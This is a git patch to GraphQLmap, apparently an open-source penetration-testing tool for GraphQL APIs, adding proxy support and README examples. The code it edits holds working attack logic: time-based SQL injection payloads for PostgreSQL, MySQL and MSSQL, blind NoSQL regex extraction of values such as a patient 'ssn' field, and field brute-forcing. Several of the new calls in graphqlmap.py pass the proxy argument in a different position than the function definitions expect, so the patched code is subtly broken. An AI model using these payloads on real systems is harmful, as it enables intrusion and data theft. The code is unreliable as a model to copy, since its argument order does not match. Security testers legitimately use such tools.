From 41d779b9987da52374688ffdfd08ce27b52ac5c3 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Mon, 17 Jan 2022 14:42:18 +0100 Subject: [PATCH] GraphQL Docker link + README update + Proxy support --- README.md | 61 +++++++++++++++++++++++++++++++++++++++++++-------- attacks.py | 41 ++++++++++++++++------------------ graphqlmap.py | 23 ++++++++++--------- utils.py | 11 ++++++---- 4 files changed, 91 insertions(+), 45 deletions(-) diff --git a/README.md b/README.md index 450755e..f9745ed 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,8 @@ - Execute GraphQL queries - Autocomplete queries - [GraphQL field fuzzing](#graphql-field-fuzzing) + - [Example 1 - Bruteforce a character](#example-1---bruteforce-a-character) + - [Example 2 - Iterate over a number](#example-2---iterate-over-a-number) - [NoSQL injection inside a GraphQL field](#nosql-injection) - [SQL injection inside a GraphQL field](#sqli-injection) @@ -31,15 +33,16 @@ $ python graphqlmap.py | | | | |_| |_| Author:Swissky Version:1.0 -usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] +usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]] optional arguments: - -h, --help show this help message and exit - -u URL URL to query : example.com/graphql?query={} - -v [VERBOSITY] Enable verbosity - --method [METHOD] HTTP Method to use interact with /graphql endpoint - --headers [HEADERS] HTTP Headers sent to /graphql endpoint - --json Send requests using POST and JSON + -h, --help show this help message and exit + -u URL URL to query : example.com/graphql?query={} + -v [VERBOSITY] Enable verbosity + --method [METHOD] HTTP Method to use interact with /graphql endpoint + --headers [HEADERS] HTTP Headers sent to /graphql endpoint + --json [USE_JSON] Use JSON encoding, implies POST + --proxy [PROXY] HTTP proxy to log requests ``` @@ -49,8 +52,12 @@ optional arguments: ### Connect to a graphql endpoint -``` +```py +# Connect using POST and providing an authentication token python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}' + +# Pass request through Burp Proxy +python graphqlmap.py -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080 ``` ### Dump a GraphQL schema @@ -107,6 +114,8 @@ GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin Use `GRAPHQL_INCREMENT` and `GRAPHQL_CHARSET` to fuzz a parameter. [:movie_camera: Live Example](https://asciinema.org/a/ICCz3PqHVNrBf262x6tQfuwqT) +#### Example 1 - Bruteforce a character + ```powershell GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}} [+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}} @@ -126,6 +135,38 @@ GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiG [+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}} ``` +#### Example 2 - Iterate over a number + +Use `GRAPHQL_INCREMENT_` followed by a number. + +```powershell +GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} } +[+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} } +[+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} } +[+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} } +[+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} } +[+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} } +[+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} } +[+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} } +[+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} } +[+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} } +[+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} } + +GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} } +{ paste(pId: "9") {id,title,content,public,userAgent} } +{ + "data": { + "paste": { + "content": "I was excited to spend time with my wife without being interrupted by kids.", + "id": "UGFzdGVPYmplY3Q6OQ==", + "public": true, + "title": "This is my first paste", + "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" + } + } +} +``` + ### NoSQLi injection Use `BLIND_PLACEHOLDER` inside the query for the `nosqli` function. @@ -148,10 +189,12 @@ GraphQLmap > mysqli GraphQLmap > mssqli ``` +## Practice + +* [Damn Vulnerable GraphQL Application - @dolevf](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application/blob/master/setup.py) ## TODO -* Docker with vulnerable GraphQL * Unit tests * Handle node ``` diff --git a/attacks.py b/attacks.py index a33a1e8..eaf9fb2 100644 --- a/attacks.py +++ b/attacks.py @@ -1,17 +1,17 @@ #!/usr/bin/python from utils import * +import re - -def display_types(URL, method, headers, use_json): +def display_types(URL, method, headers, use_json, proxy): payload = "{__schema{types{name}}}" - r = requester(URL, method, payload, headers, use_json) + r = requester(URL, method, payload, headers, use_json, proxy) if r is not None: schema = r.json() for names in schema['data']['__schema']['types']: print(names) -def dump_schema(url, method, graphversion, headers, use_json): +def dump_schema(url, method, graphversion, headers, use_json, proxy): """ Dump the GraphQL schema via Instrospection @@ -27,7 +27,7 @@ def dump_schema(url, method, graphversion, headers, use_json): else: payload = "fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated:+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated:+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}" - r = requester(url, method, payload, headers, use_json) + r = requester(url, method, payload, headers, use_json, proxy) schema = r.json() print("============= [SCHEMA] ===============") @@ -70,10 +70,10 @@ def dump_schema(url, method, graphversion, headers, use_json): print("") -def exec_graphql(url, method, query, headers=None, use_json=False, only_length=0): +def exec_graphql(url, method, query, proxy, headers=None, use_json=False, only_length=0): if headers is None: headers = {} - r = requester(url, method, query, headers, use_json) + r = requester(url, method, query, headers, use_json, proxy) try: graphql = r.json() errors = graphql.get("errors") @@ -102,15 +102,13 @@ def exec_graphql(url, method, query, headers=None, use_json=False, only_length=0 return "\033[91m[!]\033[0m {}".format(str(e)) -def exec_advanced(url, method, query, headers, use_json): - print(query) - +def exec_advanced(url, method, query, headers, use_json, proxy): # Allow a user to bruteforce character from a charset # e.g: {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}} if "GRAPHQL_CHARSET" in query: graphql_charset = "!$%\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{|}~" for c in graphql_charset: - length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), headers, use_json, only_length=1) + length = exec_graphql(url, method, query.replace("GRAPHQL_CHARSET", c), proxy, headers, use_json, only_length=1) print( "[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace("GRAPHQL_CHARSET", c))) @@ -120,45 +118,44 @@ def exec_advanced(url, method, query, headers, use_json): elif "GRAPHQL_INCREMENT_" in query: regex = re.compile("GRAPHQL_INCREMENT_(\d*)") match = regex.findall(query) - for i in range(int(match[0])): pattern = "GRAPHQL_INCREMENT_" + match[0] - length = exec_graphql(url, method, query.replace(pattern, str(i)), headers, use_json, only_length=1) + length = exec_graphql(url, method, query.replace(pattern, str(i)), proxy, headers, use_json, only_length=1) print("[+] \033[92mQuery\033[0m: (\033[91m{}\033[0m) {}".format(length, query.replace(pattern, str(i)))) # Otherwise execute the query and display the JSON result else: - print(exec_graphql(url, method, query, headers, use_json)) + print(exec_graphql(url, method, query, proxy, headers, use_json)) -def blind_postgresql(url, method, headers, use_json): +def blind_postgresql(url, method, proxy, headers, use_json): query = input("Query > ") payload = "1 AND pg_sleep(30) --" print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) - requester(url, method, injected, headers, use_json) + requester(url, method, injected, headers, use_json, proxy) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) -def blind_mysql(url, method, headers, use_json): +def blind_mysql(url, method, proxy, headers, use_json): query = input("Query > ") payload = "'-SLEEP(30); #" print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) - requester(url, method, injected, headers, use_json) + requester(url, method, injected, headers, use_json, proxy) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) -def blind_mssql(url, method, headers, use_json): +def blind_mssql(url, method, proxy, headers, use_json): query = input("Query > ") payload = "'; WAITFOR DELAY '00:00:30';" print("\033[92m[+] Started at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) injected = (url.format(query)).replace("BLIND_PLACEHOLDER", payload) - requester(url, method, injected, headers, use_json) + requester(url, method, injected, headers, use_json, proxy) print("\033[92m[+] Ended at: {}\033[0m".format(time.asctime(time.localtime(time.time())))) -def blind_nosql(url, method, headers, use_json): +def blind_nosql(url, method, proxy, headers, use_json): # Query - include BLIND_PLACEHOLDER. e.g. {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}} query = input("Query > ") # Check the input (known value) against the data found - e.g. 5d089c51dcab2d0032fdd08d @@ -174,7 +171,7 @@ def blind_nosql(url, method, headers, use_json): old_data = data for c in charset: injected = query.replace("BLIND_PLACEHOLDER", data + c) - r = requester(url, method, injected, headers, use_json) + r = requester(url, method, injected, headers, use_json, proxy) if check in r.text: data += c # display data and update the current line diff --git a/graphqlmap.py b/graphqlmap.py index a85859a..ff11f60 100755 --- a/graphqlmap.py +++ b/graphqlmap.py @@ -36,6 +36,9 @@ class GraphQLmap(object): self.method = args_graphql.method self.headers = None if not args_graphql.headers else json.loads(args_graphql.headers) self.use_json = True if args_graphql.use_json else False + self.proxy = { + "http" : args_graphql.proxy, + } while True: query = input("GraphQLmap > ") @@ -47,28 +50,28 @@ class GraphQLmap(object): display_help() elif query == "debug": - display_types(self.url, self.method, self.headers, self.use_json) + display_types(self.url, self.method, self.proxy, self.headers, self.use_json) - elif query == "dump_new": - dump_schema(self.url, self.method, 15, self.headers, self.use_json) + elif query == "dump_via_introspection": + dump_schema(self.url, self.method, 15, self.proxy, self.headers, self.use_json) - elif query == "dump_old": - dump_schema(self.url, self.method, 14, self.headers, self.use_json) + elif query == "dump_via_fragment": + dump_schema(self.url, self.method, 14, self.proxy, self.headers, self.use_json) elif query == "nosqli": - blind_nosql(self.url, self.method, self.headers, self.use_json) + blind_nosql(self.url, self.method, self.proxy, self.headers, self.use_json) elif query == "postgresqli": - blind_postgresql(self.url, self.method, self.headers, self.use_json) + blind_postgresql(self.url, self.method, self.proxy, self.headers, self.use_json) elif query == "mysqli": - blind_mysql(self.url, self.method, self.headers, self.use_json) + blind_mysql(self.url, self.method, self.proxy, self.headers, self.use_json) elif query == "mssqli": - blind_mssql(self.url, self.method, self.headers, self.use_json) + blind_mssql(self.url, self.method, self.proxy, self.headers, self.use_json) else: - exec_advanced(args_graphql.url, self.method, query, self.headers, self.use_json) + exec_advanced(args_graphql.url, self.method, query, self.proxy, self.headers, self.use_json) if __name__ == "__main__": diff --git a/utils.py b/utils.py index e132902..215a09a 100644 --- a/utils.py +++ b/utils.py @@ -4,7 +4,7 @@ import json import requests -cmdlist = ["exit", "help", "dump_old", "dump_new", "postgresqli", "mysqli", "mssqli", "nosqli", "mutation", "edges", +cmdlist = ["exit", "help", "dump_via_fragment", "dump_via_introspection", "postgresqli", "mysqli", "mssqli", "nosqli", "mutation", "edges", "node", "$regex", "$ne", "__schema"] @@ -20,7 +20,7 @@ def jq(data): return json.dumps(data, indent=4, sort_keys=True) -def requester(url, method, payload, headers=None, use_json=False): +def requester(url, method, payload, proxy, headers=None, use_json=False): if method == "POST" or use_json: data = { "query": payload.replace("+", " ") @@ -30,12 +30,12 @@ def requester(url, method, payload, headers=None, use_json=False): if use_json: new_headers['Content-Type'] = 'application/json' new_data = json.dumps(data) - r = requests.post(url, data=new_data, verify=False, headers=new_headers) + r = requests.post(url, data=new_data, verify=False, headers=new_headers, proxies=proxy) if r.status_code == 500: print("\033[91m/!\ API didn't respond correctly to a POST method !\033[0m") return None else: - r = requests.get(url + "?query={}".format(payload), verify=False, headers=headers) + r = requests.get(url + "?query={}".format(payload), verify=False, headers=headers, proxies=proxy) return r @@ -48,6 +48,9 @@ def parse_args(): parser.add_argument('--headers', action='store', dest='headers', help="HTTP Headers sent to /graphql endpoint", nargs='?', const=True, type=str) parser.add_argument('--json', action='store', dest='use_json', help="Use JSON encoding, implies POST", nargs='?', const=True, type=bool) + parser.add_argument('--proxy', action='store', dest='proxy', + help="HTTP proxy to log requests", nargs='?', const=True, default=None) + results = parser.parse_args() if results.url is None: parser.print_help()